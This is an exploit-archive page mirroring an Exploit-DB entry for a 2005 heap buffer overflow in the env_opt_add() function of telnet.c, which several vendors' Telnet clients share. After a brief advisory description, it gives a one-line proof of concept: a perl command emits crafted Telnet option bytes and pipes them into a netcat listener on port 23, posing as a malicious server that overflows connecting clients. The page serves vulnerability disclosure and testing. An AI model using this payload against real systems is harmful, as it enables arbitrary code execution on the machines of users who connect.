Sploitus

Exploit for Multiple Vendor Telnet Client - Env_opt_add Heap Buffer Overflow

exploitdb Β· 2005-03-28

Exploit Code

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## https://sploitus.com/exploit?id=EDB-ID:25303
source: https://www.securityfocus.com/bid/12919/info

Multiple vendors' Telnet client applications are reported prone to a remote buffer-overflow vulnerability. This vulnerability reportedly occurs in the 'env_opt_add()' function in the 'telnet.c' source file, which is apparently common source for all the affected vendors.

A remote attacker may exploit this vulnerability to execute arbitrary code on some of the affected platforms in the context of a user that is using the vulnerable Telnet client to connect to a malicious server.

perl -e 'print "\377", "\372\42\3\377\377\3\3" x 43, "\377\360"' | nc -l 23